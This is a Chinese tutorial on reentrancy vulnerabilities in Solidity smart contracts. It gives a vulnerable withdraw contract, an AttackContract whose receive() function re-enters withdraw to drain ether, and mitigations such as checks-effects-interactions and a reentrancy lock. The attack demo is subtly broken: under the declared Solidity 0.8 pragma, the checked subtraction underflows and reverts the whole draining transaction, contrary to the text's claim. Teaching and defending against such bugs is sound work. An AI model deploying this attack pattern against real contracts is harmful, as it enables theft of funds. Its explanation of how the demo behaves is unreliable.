重入攻击安全漏洞
在 Web3 的区块链领域,重入攻击是一种常见且危险的安全漏洞,主要针对智能合约。下面从攻击原理、攻击场景、示例代码、防范措施几个方面进行详细介绍:
攻击原理
在以太坊等区块链平台上,智能合约是使用 Solidity 等编程语言编写的程序,运行在区块链的虚拟机(如以太坊的 EVM)上。当一个合约调用另一个合约的函数时,控制权会转移到被调用的合约。重入攻击利用了外部调用的特性和合约状态更新的时序问题。
在传统编程中,函数调用和状态更新通常是原子性的,但在智能合约中,外部调用可能会导致控制权暂时离开当前合约,攻击者可以利用这个间隙,在当前合约状态还未更新的情况下,多次调用当前合约的函数,从而实现重复执行某些操作,如多次提取资金。
攻击场景
重入攻击最常见的场景是涉及资金转账的智能合约,比如去中心化金融(DeFi)协议中的借贷、存款、提款等操作。攻击者可以利用重入漏洞,在合约未正确更新账户余额的情况下,多次提取资金,导致合约资金损失。
示例代码
以下是一个存在重入攻击漏洞的简单 Solidity 合约示例:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract VulnerableContract {
mapping(address => uint256) public balances;
// 存款函数
function deposit() public payable {
balances[msg.sender] += msg.value;
}
// 提款函数,存在重入漏洞
function withdraw(uint256 amount) public {
require(balances[msg.sender] >= amount, "Insufficient balance");
// 先转账,再更新余额
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}
// 查询余额函数
function getBalance() public view returns (uint256) {
return balances[msg.sender];
}
}
contract AttackContract {
VulnerableContract public vulnerableContract;
constructor(address _vulnerableContractAddress) {
vulnerableContract = VulnerableContract(_vulnerableContractAddress);
}
// 接收以太币的回退函数
receive() external payable {
if (address(vulnerableContract).balance >= msg.value) {
vulnerableContract.withdraw(msg.value);
}
}
// 发起攻击的函数
function attack() external payable {
// 先存入一定数量的以太币
vulnerableContract.deposit{value: msg.value}();
// 发起第一次提款,触发重入攻击
vulnerableContract.withdraw(msg.value);
}
}
在这个示例中,VulnerableContract 的 withdraw 函数先进行资金转账,再更新账户余额。当 AttackContract 调用 withdraw 函数时,转账操作会触发 AttackContract 的 receive 函数,receive 函数又会再次调用 withdraw 函数,形成重入攻击,直到 VulnerableContract 的余额不足。
防范措施
为了防止重入攻击,可以采用以下几种方法:
先检查 - 再修改 - 交互模式(Checks - Effects - Interactions):在执行外部调用之前,先完成所有的状态更新。修改上述 withdraw 函数如下:
function withdraw(uint256 amount) public {
require(balances[msg.sender] >= amount, "Insufficient balance");
// 先更新余额
balances[msg.sender] -= amount;
// 再进行转账
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
使用重入锁:在合约中添加一个布尔变量作为重入锁,在关键函数执行时锁定,执行完毕后解锁。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract ReentrancyGuard {
bool private locked;
modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
}
contract SecureContract is ReentrancyGuard {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) public noReentrant {
require(balances[msg.sender] >= amount, "Insufficient balance");
balances[msg.sender] -= amount;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
function getBalance() public view returns (uint256) {
return balances[msg.sender];
}
}
使用 transfer 或 send 替代 call:transfer 和 send 有固定的 gas 限制,并且不允许执行复杂的代码,在一定程度上可以防止重入攻击。但由于 transfer 和 send 已经被标记为不推荐使用,所以更建议使用前两种方法。

浙公网安备 33010602011771号